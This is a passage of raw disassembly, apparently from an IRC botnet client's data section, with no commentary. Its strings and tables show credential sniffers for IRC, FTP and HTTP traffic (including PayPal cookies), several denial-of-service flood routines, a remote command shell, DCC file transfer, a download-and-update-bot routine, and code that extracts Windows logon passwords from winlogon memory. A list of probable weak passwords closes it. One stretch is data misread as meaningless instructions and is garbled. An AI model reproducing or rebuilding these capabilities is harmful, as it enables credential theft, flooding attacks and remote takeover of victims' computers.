dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp_0 db 'HTTP',0 ; DATA XREF: ___:0043647Co
align 10h
off_436CE0 dd offset word_505446 ; DATA XREF: ___:00436478o
off_436CE4 dd offset dword_435208+41h ; DATA XREF: ___:00436474o
off_436CE8 dd offset word_544F42 ; DATA XREF: ___:00436470o
dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h
dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0
dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h
dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
dd 64252064h, 0
dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 696E7370h, 3026666h
aSocketFailedRe db '- socket() failed, returned %d',0
align 10h
aHashin db ':!hashin',0 ; DATA XREF: sub_412EAA+103o
align 4
a_hashin db ':.hashin',0 ; DATA XREF: sub_412EAA+EEo
align 4
aIdent_0 db ':!ident',0 ; DATA XREF: sub_412EAA+D9o
a_ident db ':.ident',0 ; DATA XREF: sub_412EAA+C8o
a_login db ':.Login',0 ; DATA XREF: sub_412EAA+B7o
aLogin_0 db ':!Login',0 ; DATA XREF: sub_412EAA+A6o
aLogin_1 db ':!login',0 ; DATA XREF: sub_412EAA+95o
a_login_0 db ':.login',0 ; DATA XREF: sub_412EAA+84o
a366 db '366 ',0 ; DATA XREF: sub_412EAA+73o
align 10h
a302_0 db '302 ',0 ; DATA XREF: sub_412EAA:loc_412F0Co
align 4
aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412EAA+4Do
align 10h
aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412EAA+3Co
align 4
aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412EAA+2Bo
align 4
aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412EAA+5o
align 4
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412FC1+62o
aOper db 'oper ',0 ; DATA XREF: sub_412FC1+51o
align 4
aNick_1 db 'NICK ',0 ; DATA XREF: sub_412FC1:loc_413001o
; sub_413037+2Bo
align 10h
aOper_0 db 'OPER ',0 ; DATA XREF: sub_412FC1+2Bo
align 4
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412FC1+5o
align 4
aPass_1 db 'PASS ',0 ; DATA XREF: sub_413037+73o
align 4
aUser_3 db 'USER ',0 ; DATA XREF: sub_413037+62o
align 4
a230 db '230 ',0 ; DATA XREF: sub_413037:loc_413088o
align 4
a220 db '220 ',0 ; DATA XREF: sub_413037+3Co
align 4
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_413037+5o
align 10h
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_4130BE+73o
aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_4130BE+62o
align 4
aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_4130BE+51o
align 4
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_4130BE:loc_4130FEo
align 4
aPaypal db 'paypal',0 ; DATA XREF: sub_4130BE+2Bo
align 4
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_4130BE+5o
align 10h
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_413145+51o
align 4
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_413145:loc_413185o
align 10h
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_413145+2Bo
align 10h
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_413145+5o
align 4
unk_436F5C db 2Dh ; - ; DATA XREF: sub_4131AA+3ECo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_436F94 db 2Dh ; - ; DATA XREF: sub_4131AA+382o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_436FCC db 2Dh ; - ; DATA XREF: sub_4131AA+351o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437000 db 2Dh ; - ; DATA XREF: sub_4131AA+31Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437034 db 2Dh ; - ; DATA XREF: sub_4131AA+2E2o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437068 db 2Dh ; - ; DATA XREF: sub_4131AA+14Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 4
unk_437098 db 2Dh ; - ; DATA XREF: sub_4131AA+C5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRetu db '- bind() failed, returned %d',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
dword_4370EC dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h
; DATA XREF: sub_41364F+302o
dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h
dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h
dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h
dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h
dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h
dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h
dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h
dd 25282064h, 2F424B69h, 29636573h, 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aDoneWithFloodI db '- Done with flood (%iKB/sec).',0
align 4
dword_437314 dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
; DATA XREF: sub_4143AC+27Do
dd 3C203A72h, 2E3E6425h, 0
dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh
dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h
dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h
dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h
dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h
dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
dd 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h
dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h
dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h
dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch
dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
dd 2E642520h, 0
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 10h
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 4
aSD db '%s%d ',0
align 4
dword_437704 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415C76+35o
dword_437718 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415C76+10o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415CEE+60o
align 10h
dword_437750 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_415D8E:loc_415DC3o
dword_437764 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_415D8E+20o
dword_437778 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
; DATA XREF: ___:00415EDDo
dd 6574656Ch, 0
dword_437794 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
; DATA XREF: ___:00415E40o
dd 676E6974h, 0
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 4
unk_437814 db 2Dh ; - ; DATA XREF: ___:00416274o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 4
dword_437838 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: ___:004164D9o
; ___:0041666Fo
dd 726F72h
unk_437850 db 2Dh ; - ; DATA XREF: ___:00416471o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 4
unk_43787C db 2Dh ; - ; DATA XREF: ___:00416379o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 10h
dword_4378A0 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: ___:00416342o
dd 74756Fh
dword_4378B8 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: ___:004162E1o
dd 169h
unk_4378D0 db 2Dh ; - ; DATA XREF: ___:0041629Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 10h
unk_4378F0 db 2Dh ; - ; DATA XREF: ___:004161F9o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_437914 db 2Dh ; - ; DATA XREF: ___:004161BBo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_2 db '- failed to create socket',0
align 4
unk_437938 db 2Dh ; - ; DATA XREF: ___:004166E8o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 4
unk_437964 db 2Dh ; - ; DATA XREF: ___:004165E4o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
unk_437984 db 2Dh ; - ; DATA XREF: ___:004165C4o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 10h
aAB db 'a+b',0 ; DATA XREF: ___:004165B0o
unk_4379B4 db 2Dh ; - ; DATA XREF: ___:0041659Co
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 4
unk_4379E4 db 2Dh ; - ; DATA XREF: ___:00416BE7o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
unk_437A10 db 2Dh ; - ; DATA XREF: ___:00416BD9o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aUpdateFailedEr db 'update failed, error executing %s',0
align 4
unk_437A44 db 2Dh ; - ; DATA XREF: ___:00416B1Do
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 4
dword_437A88 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh
; DATA XREF: ___:00416AACo
dd 25206465h, 73h
unk_437AA4 db 2Dh ; - ; DATA XREF: ___:00416A35o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 4
unk_437ADC db 2Dh ; - ; DATA XREF: ___:004169B6o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 4
unk_437B04 db 2Dh ; - ; DATA XREF: ___:0041692Co
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 10h
unk_437B30 db 2Dh ; - ; DATA XREF: ___:004168E9o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 4
unk_437B58 db 2Dh ; - ; DATA XREF: ___:004168D7o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 10h
unk_437B80 db 2Dh ; - ; DATA XREF: ___:004167CBo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_416CFC:loc_416D3Fo
; sub_4193FF+104o
aInvalid db 'Invalid',0 ; DATA XREF: sub_416CFC:loc_416D39o
aDisk db 'Disk',0 ; DATA XREF: sub_416CFC:loc_416D33o
align 10h
aNetwork db 'Network',0 ; DATA XREF: sub_416CFC:loc_416D2Do
aCdrom db 'Cdrom',0 ; DATA XREF: sub_416CFC:loc_416D27o
align 10h
off_437BD0 dd offset word_4D4152 ; DATA XREF: sub_416CFC:loc_416D21o
word_437BD4 dw 3Fh ; DATA XREF: sub_416CFC+1Fo
; sub_41AF2B:loc_41B02Dr
align 4
aFailed db 'failed',0 ; DATA XREF: sub_416D8D:loc_416E65o
; sub_416EA8+3Bo
align 10h
aSkb db '%sKB',0 ; DATA XREF: sub_416D8D+6Bo
align 4
unk_437BE8 db 2Dh ; - ; DATA XREF: sub_416EA8+8Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 4
unk_437C24 db 2Dh ; - ; DATA XREF: sub_416EA8+58o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
aA_1 db 'A:\',0 ; DATA XREF: sub_416F7A:loc_416FBFo
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
db 66h ; f
db 6Fh, 75h, 6Eh
db 64h ; d
db 20h, 25h, 64h
db 20h
aFiles db 'files',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 4
dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_437CD0 db 2Dh ; - ; DATA XREF: sub_417269:loc_4173E2o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToEnable db 'failed to enable debug privilege',0
align 4
unk_437D04 db 2Dh ; - ; DATA XREF: sub_417269:loc_4173B5o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindWi db 'unable to find winlogon pid',0
unk_437D30 db 2Dh ; - ; DATA XREF: sub_417269:loc_4173AEo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindTh db 'unable to find the password in memory',0
align 4
unk_437D68 db 2Dh ; - ; DATA XREF: sub_417269+117o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
db 57h ; W
db 69h, 6Eh, 4Ch
db 6Fh ; o
db 67h, 6Fh, 6Eh
db 20h
db 49h, 6Eh, 66h
db 6Fh ; o
db 72h, 6Dh, 61h
db 74h ; t
db 69h, 6Fh, 6Eh
db 20h
db 28h, 50h, 49h
db 44h ; D
db 20h, 25h, 64h
db 29h ; )
db 20h, 2Dh, 20h
db 2
db 44h, 6Fh, 6Dh
db 61h ; a
db 69h, 6Eh, 2
db 3Ah ; :
db 20h, 2 dup(5Ch)
db 25h ; %
db 53h, 2Ch, 20h
db 2
db 55h, 73h, 65h
db 72h ; r
db 2, 3Ah, 20h
aSNoPassword_ db '(%S/(no password)).',0
off_437DC4 dd offset byte_530055 ; DATA XREF: sub_417269+DCo
dd offset byte_520045
dd offset dword_4F0044
dd offset loc_41004A+3
dd offset byte_4E0049
dd 0
off_437DDC dd offset byte_530055 ; DATA XREF: sub_417269+CEo
dd offset byte_520045
dd offset loc_41004A+4
dd offset byte_45004D
align 10h
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_417269+9Ao
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_417269+8Do
align 4
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_417269+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_417269+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_417269+68o
align 10h
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_417269+55o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_417269+40o
; sub_417269+161o ...
align 10h
unk_437EA0 db 2Dh ; - ; DATA XREF: sub_417269+35o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aOnlySupportedO db 'only supported on winnt/win2k',0
align 10h
aMsgina db 'MSGINA',0 ; DATA XREF: sub_41743B+13Eo
align 4
aNwgina db 'NWGINA',0 ; DATA XREF: sub_41743B+123o
align 10h
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_41743B+AFo
align 4
dword_437EEC dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_4178A1+70o
; sub_417938+C7o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_437F3C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_417938+E1o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
dd 2929h
off_437F90 dd offset aQ ; DATA XREF: sub_417E35+5Cr
; "q"
; ---------------------------------------------------------------------------
inc eax
mov eax, [ebx+0]
mov [ecx-394FFFBEh], dh
inc edx
add [esi+eax*8], ch
inc edx
add [ebx+ecx*4], bh
inc ebx
add ah, dl
scasd
inc edx
add [eax-4FFFBD3Ah], al
scasd
inc edx
add [eax], bl
mov dl, 42h
add [eax+380042C6h], cl
mov eax, [ebx+0]
xor al, 8Bh
inc ebx
add [eax], dh
mov eax, [ebx+0]
sub al, 8Bh
inc ebx
add [eax+680042B7h], al
mov bh, 42h
add [eax], ch
mov eax, [ebx+0]
and al, 8Bh
inc ebx
add [eax], ah
mov eax, [ebx+0]
cld
retf 42h
; ---------------------------------------------------------------------------
dd offset aV ; "v"
dd offset dword_438B1C
dd offset aN ; "n"
dd offset aM ; "m"
dd offset dword_438B18
dd offset dword_438B14
dd offset dword_438B10
dd offset dword_438B0C
dd offset dword_438B08
dd offset word_438B04
dd offset dword_438B00
dd offset aI_0 ; "I"
dd offset dword_438AFC
dd offset dword_438AF8
dd offset aA_0 ; "A"
dd offset dword_438AF4
dd offset dword_438AF0
dd offset dword_438AEC
dd offset dword_438AE8
dd offset dword_438AE4
dd offset dword_438AE0
dd offset dword_438ADC
dd offset dword_438AD8
dd offset dword_438AD4
dd offset dword_438AD0
dd offset dword_438ACC
dd offset dword_438AC8
dd offset dword_438AC4
dd offset word_438AC0
dd offset aM_0 ; "M"
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
